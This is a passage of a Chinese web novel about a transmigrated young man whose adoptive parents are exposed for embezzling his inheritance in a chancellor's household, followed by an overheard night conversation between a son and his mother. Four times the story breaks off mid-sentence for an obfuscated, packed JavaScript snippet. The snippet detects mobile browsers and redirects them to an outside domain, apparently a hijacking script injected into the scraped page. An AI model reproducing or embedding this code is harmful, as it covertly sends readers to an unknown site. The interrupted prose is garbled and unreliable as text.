他闭了闭眼,再睁开时已是双目清明。 “所以四少爷说的都是真的。”段澜觉道。 “我亲生父母另有其人,而你们,只是一对侵吞了我的遗产,还要逼我走上绝路的……虎狼夫妻。” “不!不是!!!” 朱莲似乎终于意识到局势的崩坏,挣扎着爬起来,向段澜觉伸出手。 “儿啊,你莫要中了奸人的计谋啊!” 她蹒跚地朝段澜觉走来,一步一哭嚎,眼泪鼻涕沾了满手满身,“你虽不是爹娘亲生,可这十年来,爹娘对你可比对亲生女儿还要好啊……” “……” 段澜觉满眼都在那双肮脏的手上,下意识往后撤了几步。 朱莲见他似有嫌恶,索性定在原地,捶胸顿足, “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337429|183380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞧瞧你,你瞧瞧你,”朱莲捧着心泣不成声,“你说我们逼你走上绝路,可你样貌俊美,身子健硕,哪里是被刻薄过的模样?又哪里不如旁人? “若你亲生父母当真为你留下家产,我同你爹,还有你两个妹妹,何苦陪你一起吃糠咽菜若干年?我二人何不在一开始便将银钱全骗到手,非要辛辛苦苦养你至今啊……” 段澜觉眉间微动,犹疑着低头看了看自己—— 瘦骨嶙峋,身无半两肉,风一吹都能挂杆上迎风招展…… 就这样还说养得好,朱莲的脸也真是太大了。 可朱莲的话并非毫无逻辑,最后一句话正正戳中了他的困惑之处。 没错,如果兰朱二人真的昧了兰草的遗产,大可不必抚养他到今天,趁他小拿他钱,扔下这个累赘才是正解。 这中间……莫非真的有什么误会? · 瞧着兰草脸色变幻莫测,斜对角的柳慕云眼珠一转,挑眉看向身旁的梁老四。 梁蕴行此番并未急着拆穿朱莲的伎俩,而是平静且认真地看着对桌,似乎观察兰草的反应比铲除恶人更叫他有兴致。 柳慕云眼角抽了抽。 行吧,梁家男人看着多面善,实则肚子里打了几个转谁也不知道,还得让他来速战速决才是。 “哟,今儿这场戏真有意思,可叫咱过足了戏瘾啊!” 柳慕云腰一塌,半伏在梁蕴识肩头笑得花枝乱颤,目光却在众人之间逡巡,最终定格在面色忡忡的朱莲身上。 “兰大婶当真是好反应,好口才啊,兰哥儿原本都被四弟说动,要疑心您谋害于他了,可您三言两语便将他的心思拉了回去……” 他啧了两声,“这样厉害的一张嘴,放在兰家村可是屈才了,应当到边关,到和谈的营帐中一展身手才是!说不定呀,那些番邦小国不费一兵一卒,便叫您给说降了呢!” “……” 朱莲没听懂柳慕云山路十八弯的讥讽,却也知道他没憋什么好话。 她抹了把鼻涕,冷哼一声道,“我说的全是实情,我儿自然信我!” 她抬手一指梁蕴行,“而你家四少爷平白无故冤了我们,还要叫我母子二人离心……此事我绝不罢休!便是一纸诉状写上汴都府,也未必告他不得!” “嚯,汴都府……我竟不知汴都府尹的手这么长,都能管起咱内宅的家务事了。” 柳慕云见招拆招,甚至还腾出空给自己斟了杯茶。 “不过兰大婶呐,我劝您话莫要说得那么满,”他咂咂嘴,“旁人我不知,我这四弟的性子最是端肃求实,从无半点虚浮可言,更不要提冤了谁的。” 他斜眼对上梁蕴行的目光,嘴角笑意更深,“四弟不出声则已,一出声,那便是有了十成十的把握和证据。四弟说,对吧?” 梁蕴行:“……” 梁蕴识早就听出妻子话里有话,闻言偏过头,与那双狡黠却清亮的眸子对上。 柳慕云暗示到位,也不再多嘴,只冲官人眨了眨眼。 ——差不多得了,四弟搁那儿卖什么关子呢! 那可是他的救命恩人,又不是我的! 梁蕴识一顿,眼底盈上笑意。 “好了,眼下天色也晚了,”梁二看了眼窗外,敦促道,“四弟查到了什么便不要再藏着掖着,快说出来罢。” 他将双手交握于身前,一举一动尽显矜贵,看向兰家夫妇的眼底却早没了谦恭与耐心。 “兰公子被这对夫妻蒙骗,险些殒命,已是心力交瘁,便叫他早些知晓真相,早些瞧清楚……这对豺狼的真面目吧。” 11. 谢恩宴(5) 梁二的话亦是众人的心声,纷繁的视线再一次汇集至梁蕴行身上。 梁蕴行沉吟片刻,终于挤出一句话,“离兰家村十里开外的浮山县城,有一个金湖钱庄的分号。” “?” 梁家人皆不明所以,段澜觉更是丈二和尚摸不着头脑,唯独兰大勇夫妇听了这句话,脸色骤变! 梁蕴行瞟了兰家夫妇一眼,也没解释,而是抬了抬手召了名府卫进来。 那府卫给众人一一行礼,礼毕便叉手站在梁蕴行身侧,自顾自说了起来。 “禀告各位主子,小的受四少爷嘱托,前往兰家村查探消息,听闻了一件惊世骇俗之事,说是兰家村口原有一户人家,夫妇二人养了三女一儿,对独子百般宠爱,对姑娘们则动辄打骂,人尽皆知。 “二十年前,一个游历四方的秀才经过兰家村,撞见他家二姑娘出阁。村口人头攒动,他却一眼看到了田丘上哭泣不已的三姑娘。 “三姑娘告诉秀才,两位姐姐都被爹娘嫁给了邻村的恶霸,只图换来更丰厚的聘礼。她不愿如此,却孤掌难鸣,无计可施,于是求着秀才将自己带走,助她逃出兰家村,逃离这个魔窟一般的家。” “他答应了?”段澜觉突然开口。 “自然答应了,否则……后来也不会有你。”梁蕴行幽幽答道。 “哦——” 段澜觉不傻,他当然知道这府卫在铺垫“兰草”的身世,只是他并不是兰草本草,对兰草父母这样草率的行为也颇有微词。 孤男寡女携手上路,女人一旦被强迫那就是叫天不应叫地不灵,她怎么能一点防备心都没有呢? 还有那秀才,也是光长心肠不长脑子的,这样把一个黄花大闺女带走,万一被兰家人告上官府,污蔑他拐卖妇女……他就是有十张嘴也说不清吧! 段澜觉边听边腹诽,又感叹因果循环,造化弄人。 正因为兰草父母本性质朴纯良,兰草才有了十年如一日的钝感力,丝毫察觉不出兰朱二人对他的算计。 也正是因着这份良善……他不顾一切救下梁蕴行,才有了今日的揭发和清算。 都是天意啊…… 府卫说罢两人日久生情、私定终身之事,便道那秀才虽是个有祖荫的,心却不在仕途上,只一味享受游历河山的自在。 他同兰家姑娘成婚生子后依然不曾收心,带着妻儿靠山吃山靠水吃水,一家三口就过着这般四海为家的日子,倒也无忧无虑,轻松自在。 直至兰草六岁那年,夫妻二人游历至云州一带,在采摘山货时遭遇不明瘴气,双双中毒。 府卫微微侧身朝向段澜觉,垂眸缓道,“令尊为救令堂,将衣裳脱下为她捂住口鼻,自己却沐浴在毒气中……待到二人逃回家中,令尊猝然厥倒,片刻便不省人事了。” “……” 段澜觉打死也想不到,兰草父母之死居然如此戏剧。 他还以为他们皆死于兰大勇朱莲的毒手,正准备磨刀霍霍向兰朱,结果告诉他……就这? 可既然是意外—— “然后呢?” 段澜觉很贴心地跳过了死亡的段落,仰头看着梁蕴行,“兰……我爹没了,我娘就把我带回兰家村了?” 梁蕴行颔首。 “令堂身中剧毒,硬撑着回到兰家村已至强弩之末,殊不知你外祖一家因着女儿私奔,无颜见人,竟举家搬离了兰家村。 “而彼时唯一能托付稚子的,只有令堂的两位手帕交,一位,是在兰妙观出家的念恕师太,闺名不详。” 梁蕴行顿了顿,淡漠的口吻中莫名带了一丝尖锐,“另一位便是你的养母,朱氏。” · 兰朱二人在梁蕴行说出“金湖钱庄”时便如同被钉住了三魂七魄,全身动弹不得。 他们死死瞪着梁蕴行,仿佛这样便可勉力支撑他们摇摇欲坠的身体,却忘了——心虚之人再如何伪装,也终究是被白蚁蛀空了的木墙,无需吹灰之力,一推就倒。 “你,你们到底是怎么查到这些事的……” 朱莲终于寻着开口的时机,话一出口却变了调,“这事,这事除了阿念,应当无人再——” “怎么会无人,那不是还有金湖钱庄吗?” 柳慕云的阴阳怪调适时响起,端的是一副了然于心,“我猜,兰哥儿的父亲定是将自己那份祖产存在金湖钱庄里,他母亲则在濒死前同钱庄掌柜说好,只有收养兰哥儿的人,才有资格拿到这万贯家财,对吧?” “……” 夫妇俩刷白的脸色印证了柳慕云的猜测,也让柳慕云确定——梁蕴行方才提及“金湖钱庄”并非贸然。 他就是要用铁证先发制人,堵住兰家夫妇的嘴,才能容府卫安静地,将兰草的身世一一道来。 柳慕云以手撑颌,胜券在握地瞧着这局势,心中却不免有些意外。 他家四弟自兰家夫妇入府便再没踏足过兰草院里,二人形如陌路,到底是何契机叫他对兰草的身世生出了疑心? 又是何契机,叫这勤学苦练、废寝忘食的四弟暂搁书简刀剑,费心费力地去搜罗罪证? 他当真只是想报恩吗? 柳慕云这般想着,冲梁蕴行投去一个好整以暇的目光,只听那冰轱辘淡淡补充道,“那位夫人只来得及将存单与稚子托付出去便撒手人寰,念恕师太悲恸不已,本想寻一户踏实人家抚养稚子,待其加冠方将家产悉数盘还,却拗不过朱氏,又深知兰、朱二人品性,担心其去子留财。 “故而她想出了一个好法子——她寻来金湖钱庄的掌柜立下三方字据,约定每年正月十五,朱氏可到钱庄领取一笔银钱,用作抚养兰草的贴补,而兰草本人必须年年到场,不得有半点闪失,直至十七岁成丁。” 段澜觉听得愣神,不由得对这念恕师太产生了一丝崇拜——这算最早的信托吗?好超前的意识啊! “怪不得他们要在十七岁时对兰哥儿灭口,原来是飞鸟尽,良弓藏?” 柳慕云张口就是扎心的锥子,连年纪最小、最说不上话的栾世安都坐不住了,“你们,你们夫妇怎么能这样对兰兄…… “养育多年,你们对他难道没有半点情分吗?你们怎能做出如此灭绝人性之事?” 兰大勇动了动嘴,仿佛还想狡辩,梁蕴行却冷冰冰地堵在他前头,“今日我宴席来迟,一为远赴雍丘祭拜家师,二则,我亲至浮山县,请来了两位客人。 “一位是金湖钱庄分号的掌柜刘喜,第二位,是念恕师太。” 他偏过头,目光再一次刺穿兰朱二人的心底防线,“若你们还有什么要狡辩,大可请他二位进来一同对质,也叫他们看看——到底是谁在‘血口喷人’,‘恩将仇报’!” 朱莲哆嗦着唇,脸色白得不像样。 她失魂落魄地看着梁蕴行,又回过头,看了眼离她三尺开外的段澜觉。 “草儿,娘没有害你,你信娘,娘真的没有——” “朱氏!” 一直闷不作声的梁蕴识突然开口,宛如在她耳边敲下一记晨钟。 “人在做,天在看,你二人若干年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337430|183380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来侵吞财产,苛待养子,桩桩件件并非了无痕迹,只要细细盘查,兰家村内定有可作证之人。 “现下你们过河拆桥,釜底抽薪,纵然不曾亲手杀人,但所作所为无不令人发指。” 他撩起眼皮,瞟了那夫妇一眼,“适才说你家大姑娘正在议亲,听说六礼已过了五礼,再过些日子便该出阁了。 “不知此事若是闹到汴都府衙,人尽皆知,她夫家会不会生出轻慢之心?你家小女儿将来又会不会婚事受阻,姻缘断送?” 柳慕云不住点头,又装出一副吃惊的模样,拍了拍梁蕴识的胳膊,“哎呀,官人你忘了,他家小女儿……现下离了京城,还不知道在何处呢!” 兰大勇和朱莲同时想起这茬,脸色刷的一灰! “哎,若他们能将真相和盘托出,不叫咱们在这白白浪费功夫——那兴许咱们府上还能帮帮忙,叫兰妹妹早日现身,平安归家。” 柳慕云的嗓音本是清亮悦耳,在兰大勇夫妇耳中却有如魔音。 扑通—— 朱莲跪倒在地,却是冲着段澜觉。 段澜觉一惊,下意识又要去扶她,却见她像一团泥巴似的瘫软在地上,呈五体投地的姿势嚎啕求告。 “兰草,兰儿!救救你妹妹,让梁家放了她罢! “她与你一同长大,对你从来只有尊敬,从无坏心啊……” 段澜觉有些无奈,心想她没坏心还要来京城助力你俩逼梁家就范?你对坏心的定义未免有点狭窄了吧! 但他却来不及说什么,因为兰大勇也往地上一坐,抬起手就开始抽自己巴掌。 他左右开弓,边抽边哭,满脸横肉在巴掌的作用下扭曲飞舞。 “儿啊,是爹娘被猪油蒙了心,是爹娘昧了你亲生父母的钱财!可爹娘真的不想让你死啊……” 他一把鼻涕一把眼泪,方才的嚣张早已不见踪影,“你十六岁那年,刘掌柜突然增加了钱银的数量,并将多半交予你手,还嘱咐你自个儿好好留着傍身,谁来了也别给。 “你是个实心眼的,旁人说什么便也照做,寻了个地方把钱藏了起来,任凭咱怎么说也不肯拿出来……可你瞧瞧这个家,一家老小,衣食住行哪里不要用钱?你的姐妹们还要成亲,还得给她们准备嫁妆……” 兰大勇抹了把鼻子,“爹娘实在是走投无路,只想让你拿一些积蓄出来给她们添妆,好叫她们不被夫家看低……” “走投无路?” 柳慕云冷冷打断兰大勇的话,“若这也算走投无路,你们还想上天摘星星不成?” “还是快些坦白你骗人的伎俩罢,”柳慕云翻了个白眼,“说的比唱的都好听,当真不要脸。” “我……我们只骗了一件事。” 兰大勇支支吾吾,“你娘同我演了一出戏,故意叫你瞧见我咯血,同你说我得了肺痨……” “……” “我们当真是想要一点银子而已!” 兰大勇见段澜觉一脸无语,急忙找补道,“谁知你为了救我,不仅将钱全掏了出来,还一言不发地跑了出去,跑到深山老林里去采药……” 兰大勇说着,又抹了把泪,委屈巴巴道,“方才四少爷说,我们换了你的农具,取走你的口粮……这都是冤枉,是天大的冤枉啊! “试想你若是采回了草药,换得了银钱,从今往后便能叫我老兰家招财进宝,难道不是阖家庆祝,皆大欢喜之事吗?我们何以,要将你赶尽杀绝啊……” “。” 段澜觉彻底被这情形哽住了。 12. 长廊听夜话(1) 夜幕低垂,烛影缭乱。 夏日初蝉原是在庭中聒噪,却好似被一触即发的局势吓住,收敛声息,生生没了叫嚷的胆子。 众人皆静静地看着这一家三口,不再多言一字,将命运的主宰全然交到了段澜觉手上。 但段澜觉心里明白,自己压根没得选。 他看着此时此刻还在演戏的两人,那股穿越而来,命不由人的疲惫感再度翻了上来,于是长长纾了口气,骤然一捋衣袍,翩然下跪—— 管他礼仪对不对呢,这个动作看上去至少比较帅! 他朝兰大勇和朱莲重重磕了一个头,起身,再一个,再起身,又磕一个。 额头传来的钝痛叫他忍不住眯了眯眼,却也令他无比清醒,比往常的任何一刻还要清醒。 三个头磕下去,他伏在地上顿了片刻,心想:兰草老弟,我借了你的身体还魂,十一年的养育之恩,我就自作主张,替你还了。 这对虎狼夫妻昧尽了你父母的钱财,还想要你的命……从此咱们桥归桥路归路,别和他们再纠缠了吧。 念罢,段澜觉抬起头,直勾勾看向眼前啜泣不已的夫妇,随即起身站定,目光冷静异常。 “我刚才就想提醒你们来着,”段澜觉道,“梁家位高权重,绝不会贸然挟持你家姑娘。” “这太下作了,你们对梁家的威胁,也没到那个份上。”他道。 “那他们——” “四少爷大概率只是把她赶出了京城,好让她不要胡言乱语,现在,她应该已经回到兰家村了。” 朱莲和兰大勇神色微怔,抹泪的动作皆是一顿。 梁蕴行垂下眸,微不可察地动了动喉咙,柳慕云偏眼同梁二交换了眼神,又向段澜觉投来欣赏的目光。 “事已至此,我也没什么要跟你们说的了,非要说的话,那就让你们‘死’个明白吧……”段澜觉自嘲一笑,“知道为什么我不信你们吗?” “因为那座山。”他道。 “那应该是一片离兰家村不远,却有猛兽出没,人迹罕至的山头,对吧?” 兰氏夫妇陡然噤声。 “如果你们不曾暗示过救命的草药是什么,也不曾暗示过,草药就在那个山头——” 段澜觉讪笑着摇摇头,看向他们的目光带了少许哀戚,“那像我这样没出过几次远门的庄稼汉,又怎么会盲目前往,冒险采摘呢?” …… 金盏银盘,珍馐美馔,空留一席凌乱。 段澜觉留下那句话便头也不回地走出宴清堂,直至院外拐角处才伫足抬头,神色落寞。 刚至立夏,月如弯刀悬于夜幕之下,再走几日又能全乎一个圆满的玉盘。 但他两世为人,亲情却注定是不圆满的了。 他忽然想去散散心,哪怕只是在府里溜达几圈。 穿越之后的破事一件叠一件压在他心头,再加上今晚这分量十足的最后一根稻草……他真的,喘不过气了。 他从前很少有过这样的感受,即便知道段越被山体滑坡连车带人压成了一块铁肉饼,他也不过是思念、难过、伤心,却不似今晚这般沉重,仿佛生命的重量在这一刻成为具像,沉甸甸地压在他单薄的脊梁柱上。 果然是封建社会啊……还没怎么地呢,就开始吃人了。 段澜觉深吸一口气,拔足向前,却陡然发现后面出现了一只“跟屁虫”。 “?” 四喜亦步亦趋跟在后头,一路默然无声,小心翼翼地隐匿着自己的存在,却不想还是被发现了踪影。 段澜觉一见到他就烦,进而联想起梁蕴行诓骗自己那堆破事,不由得怒从中来。 “你还跟着我干嘛?”他道。 四喜抬眼一愣,缩着身子讷讷道,“小的,小的奉命伺候公子,公子去哪儿,小的便该跟着才是……” “呵,用不着。” 段澜觉知道下人们身不由己,怪也怪不到他们身上。 但他今晚所有的耐心都在方才的拉锯战中消耗殆尽,实在不想和任何人打交道了。 “你回去吧,我就在府里走走,不会迷路的。” 见四喜欲言又止,段澜觉有些不耐烦,只得补上一句,“你骗我的事咱回头再聊,我现在烦得慌,只想一个人静静,别跟着我。” “……” 眼瞅着四喜百般无奈下点了头,段澜觉扭头就走,甩给他一个潇洒的背影。 · 一个人晃悠的时光过得很快,段澜觉虽然腿伤新愈,但这么慢慢挪着也不觉累。 只是他低估了梁府的占地面积和自己的方向感—— 他迷路了。 梁府不愧为丞相府邸,不仅庭院楼阁鳞次栉比,假山流水重重叠叠,更有各色园艺,一步一景,甚是豪横,即便在毫无电力的古代,屋檐上一丛一丛的灯笼也足以将整座府邸映得光彩耀目,夜明如昼。 但……段澜觉依旧找不着北。 无他,中式庭院的布局实在是太复杂了……他七拐八拐,感觉自己路过无数拱门,穿过无数长廊,再一回头时,来时的路早就不见踪影,连身边路过的奴仆女使都逐一换上了新面孔。 ……算了,段澜觉想,先找个地儿歇会吧,大不了一会儿张嘴问人。 他信步向前,绕过一扇月洞门,在长廊中随便找了处隐蔽的台阶坐下。 夏蝉挂在黑黢黢的林叶间锣鼓噪天,他托腮仰望未经工业化污染的漫天星辰,忽然想起和苗兰、段小续逃了晚自习,跑到学校附近的公园里吃雪糕吹牛逼的日子。 夏天的风吹过他们的笑脸,像给青春按下一个录制键,存下了一段美好而青葱的回忆。 段澜觉曾以为他们会这样打打闹闹下去,哪怕谁结婚生子,为生活庸庸碌碌,成为无聊的大人,他们的孩子也会成为死党,替他们延长这段美好的光阴,延续这份难能可贵的情谊。 但现在……一切都化为黄粱美梦。 一滴泪终于忍不住从眼角渗了出来。 段澜觉喉咙一滚,深深地吸了口气,试图平复内心的思念和无助。 ——“澜儿,你命很硬的,你得撑下去,你得连着越叔那份好好活下去。” 这是段越死后,段小续跟他说过的话。 苗兰的安慰则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337431|183380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更无厘头,“咱铁三角命都硬!你看,你被遗弃在路边都能叫越叔给捡回来,小续出生就没了妈,我么……五岁那年肺炎住院,差点进ICU了,居然没死。 “弄不死咱们的,都会让咱们变得更强大!” ……这都什么和什么,命硬跟撑下去有什么关系? 说他命硬,万一段越就是被他克死的,他岂不是更伤心了? 可两位损友当日乱射的子弹,却在今日命中了段澜觉那颗沉沉欲坠的红心—— 没错,他这都没死,那就是天不要他亡。 不管是段越在天上保他,还是他上辈子行善积德换了九条命……自怨自艾是没有结果的,他得想法子,在这个时代活下去。 段澜觉破涕为笑,用手背拭去了眼角的湿润。 这么自我疏通一番后,他心情已然转好大半,抻了抻坐麻的腿正准备打道回院,忽然听见一阵窸窣的脚步声和轻语声由远及近响起—— “……今日之事,你筹划多久了?” “?” 这声音是…… 段澜觉已经起了大半个身子,又做贼心虚般一屁股坐了下去。 理智告诉他,这个时候出去,可能会和某些“熟人”撞个正着。 可他今晚谁也不想见了。 于是便借着那九曲十八弯的长廊隐匿自己的身形,直到那杂乱的步伐不紧不慢靠近,行至院外时,忽而集体停住了。 “儿子不孝,未能早些同母亲报备,让母亲受惊了。” 梁蕴行后撤两步,朝栾夫人恭恭敬敬地福了福身。 “……” 栾夫人抬眼看着自己的幺子,眼底种种情绪杂糅,沉顿半晌才道,“蕴行,你知道母亲没有教训你的意思,母亲只想让你在我跟前能松快些。” 又道,“母亲自知无能,不能为你抹去心中烦忧,只求与你分担一二。 “你瞧瞧你,又是读书又是练武,还要费神去搜罗证据,抽丝剥茧,人都瘦了一圈了……” “劳母亲费心了。” 梁蕴行依旧拱手垂头,将腰杆压得极低,“今夜过后,此事便已接近尾声,蕴行定当调整作息,努力加餐,力求早日恢复康健体魄,定不叫母亲担忧。” “可我是想——” 见梁蕴行揣着明白装糊涂,栾夫人偏头闭了闭眼,平静半晌才道,“你同母亲说句实话,你费尽心思去寻觅证据,探查兰草的身世,是不是不想娶他?” “……” 是! 肯定是!!! 段澜觉在角落里翻了个白眼——虽然梁蕴行没即刻回答,但他百分百确认,这人就存了这样的心思! 一旦兰家被起底,查出些蝇营狗苟来,梁府就有理由拒绝这等不清不白的亲家了! ……只是连梁蕴行自己都没想到,他翻出的账,居然是本血账。 意外之得,也在情理之中。 见梁蕴行缄口不言,栾夫人叹了口气,权当他默认,“你若不肯,为何一早不说?是觉得母亲会为了梁家的面子,强逼你娶兰草吗?” 段澜觉闻言皱了皱眉。 13. 长廊听夜话(2) 从刚才那段对话开始,段澜觉就觉得这对母子的关系有点古怪,却偏偏说不出个所以然来,只得把这种“别扭”归结为封建礼教压迫下,畸形的亲子关系。 “起初那对虎狼夫妇提出此法,我心里便是一千个一万个不愿意,但你父亲和大哥都不在府上,你又三缄其口,叫我摸不准你的心思……” 栾夫人声音微颤,眼角隐有红意,“你打小便是个知恩图报的实心眼儿,我生怕拂了你的意,又不愿囫囵应下,只好每日陪着笑脸,寻各式各样的由头拖延着…… “若你从一开始便同母亲坦诚心事,别提拒了这门亲事了,哪怕是上刀山、下火海,母亲也会为你去做的呀!” “……” 梁蕴行喉结动了几动,踌躇半晌才道,“蕴行无需旁人为我上刀山,下火海,我自己欠下的债,自己去还,便是。 “劳母亲费心了,儿子,罪该万死。” 栾夫人眼神微怔,唇瓣翕动,明明还想说些什么,却随着心底的失落紧紧抿上了。 躲在暗处的段澜觉虽没看到二人的神情,却也扶额闭眼,疯狂腹诽。 好家伙,连他这般神经大条的人都听出来了……栾夫人三番五次“求”梁蕴行对她敞开心扉,却被梁蕴行看似礼貌,实则冷似冰窟的回复拒之于千里之外。 这对母子到底有什么心结? 段澜觉作为外人,只觉栾夫人恨不得把心都掏出来给儿子了,却依旧得不到儿子的亲近与信任……难不成是小时候打骂过他,被他记仇至今? 栾夫人总不能是继母吧…… 段澜觉晃了晃脑子里的水,仰天长叹,百思不得其解。 二人的沉默没有持续很长时间,段澜觉听见栾夫人深吸了几口气,似乎调整了心态,再开口时已经恢复到相府主母的端庄持重。 “眼下事情已经闹到这个地步,你打算如何收场,又如何,报兰草的救命之恩呢?” 栾夫人说是稳住了心绪,言语间却依旧藏了些惴惴,试图顺着儿子的意思引他多说些话,“是继续寻证,将他那对养父母告上汴都府,赠他万贯家财还他自由身?还是……” “寻不到。” 廊角的段澜觉和栾夫人皆是一怔,栾夫人以为自己听错了,忙问,“寻不到什么?” “兰家夫妇谋害兰草的证据。”梁蕴行笃然道。 栾夫人又是一愣。 “可方才,蕴识不是说……” “那是二哥为了诓他们就范,信口胡诌的。” “这……” 见栾夫人一脸局促不安,染了蔻丹的手指几乎要将帕子绞碎,梁蕴行终是有些不忍,主动开口道出事情的来龙去脉。 “兰家夫妇对外谎称兰草是他们的亲儿子,是闹蝗灾那几年间,二人外出谋生存时意外所得。 “当时二人还带着长女,实在养不活这个孩子,便一狠心将其卖给了一个大户人家,换来了一家人一年的口粮。” “卖子求粮?”栾夫人脸上露出一丝困惑,“这……他们也信?” “有何不信。” 梁蕴行面上露出一瞬不屑,“乡间邻里虽面上客套,实则都是一齐长大的,兰、朱二人之秉性他们心里清楚,卖一个儿子而已,又不是不能生了,他们自然干得出来。” 段澜觉在边上听着只觉这话刻薄,栾夫人似乎也觉得刺耳,抬手用丝帕抿了抿唇。 “那,后来呢?”栾夫人问,“孩子如何回到他们身边,他们又是如何,遮掩对这孩子的苛待?” “说是那户人家得了兰草便有了自己的儿子,亲疏有别,他们便将兰草送回兰家,还帮兰家清了一年的税赋,权当是还了兰草的‘送子’之恩。” 这都行?!段澜觉扯了扯嘴角。 古代人也太特么好骗了吧,等他们老了能不能给他们卖保健品? 栾夫人似乎也难以理解,但她微微思索便知这谎言精妙之处。 她揣摩道,“所以,一旦认定兰草是兰家夫妇亲生,还是个有福的孩子,乡邻们便不会意识到兰家夫妇的苛待,哪怕兰草终日粗茶淡饭,目不识丁,他们也只会唏嘘兰家穷困,是扶不起的阿斗,绝不会心生怀疑。” “母亲慧识,此乃其一。”梁蕴行微微颔首。 “其二,他们意识不到,是因为连兰草自己也察觉不到,故不会心生怨怼,四处张扬。” 段澜觉眨了眨眼。 “据乡邻所言,兰草除农务外极少出门,即便出门,身旁也总跟着兰大勇或朱莲。” 梁蕴行如同一台精细的机器,一一拆解着兰家夫妇的罪行,“不识字、不认账、不出门、不与人交涉……母亲以为,兰朱二人希望兰草成长为怎样的人?” 栾夫人慈母之心听不得这些,此刻眉头已皱得极深,“这……” “愚昧无知。”梁蕴行一锤定音。 “如此一来,他分不清好坏善恶,勘不破虚伪真实,只道兰朱二人供他食宿便是极大的恩惠,丝毫未曾想过——他每年年初领到的‘家用贴补’,皆是由他的口袋掏出来的真金白银。” 梁蕴行顿了顿,补充道,“而那笔被兰朱二人鲸吞的家产,据钱庄刘掌柜报,其数足以买下汴都城郊的一处庄子了。” ???卧槽! 段澜觉对古代银钱度量没什么概念,但要说这笔钱能全款买下顺义一套别墅…… 妈的,好心疼是怎么回事? 梁蕴行盘完兰家夫妇的计谋,下了定论,“此二人表面五大三粗,实则心计极深,想来二嫂那番气话不假——他们合该被送到边境当说客才是,困在乡间田野里冲这点钱精打细算,着实是屈才了。” “唉,财帛催人上进,也乱人心智啊……” 栾夫人叹了口长长的气,连带着段澜觉也在心里默默哀叹:怪不得这俩人一直死鸭子嘴硬,一副“有证据你就来干死我”的模样……原来他们是真的认定,自己设的局天衣无缝,没给人落下任何把柄。 可事实是他们的确做到了步步为营,只是棋差一招,被梁四掘地三尺,找到了金湖钱庄的掌柜和念恕师太。 可这也说不通啊? 这两位证人同兰家村八竿子打不着,兰朱二人又年复一年地做着反侦察工作… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337432|183380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 段澜觉忽一激灵:梁四到底是从什么地方把这俩人扒拉出来的? 通畅的思路突然被一块不大不小的石子堵住了,段澜觉左拐右拐都绕不过去,忽觉毛骨悚然—— 卧槽,他该不会不止是穿越了,还穿书了吧…… “既然在兰家村寻不到证据,”栾夫人的声音适时响起,正正好对上了段澜觉的胡思乱想,“那村外呢?金湖钱庄的掌柜和那位师太,是否能……” “不能。”梁蕴行十分果决。 “掌柜只认契约,不理家务事,念恕师太也只能为兰草的出身作证。二人皆不能证明,兰家夫妇有害人性命的举措。” “只谋财,不害命,又有养育之恩,”梁蕴行道,“此事即便上了汴都府,也是笔扯不清的烂账,定不了罪。” “那……那可怎么办呢?” 栾夫人累了一天,心有些乱,随便寻了个石凳坐下,一旁的女使赶紧上来给她斟茶扇风。 “眼下我们已然知晓他们的嘴脸,即便没有证据证明他们谋财害命,料想他们也不敢攀这门亲事了。” 她沉吟道,“我想着……若不能替兰草讨回公道,索性,给兰家夫妇一笔银子,叫他们离开兰家村远走高飞。 “等他们走后,咱们再给兰草寻一处宅子安居,他乐意做什么便做什么,什么也不做,梁府也养得起一个闲人。 “便叫他后半辈子同兰家老死不相往来罢,也算是……还了他的恩德。” 栾夫人抿了口茶,无奈道。 “母亲思虑周全,但,此事恐怕没那么好办。” “又是为何?” 栾夫人倏地仰头,目露困惑。 梁蕴行看着她,“即便有了念恕师太的口供,依照大邹律法,兰草依旧会被判定为兰大勇夫妇的养子,需承担侍奉双亲的义务。” ……什么玩意儿? 段澜觉本来还沉浸在栾夫人设想的美好未来中,闻言心一下被提溜到嗓子眼。 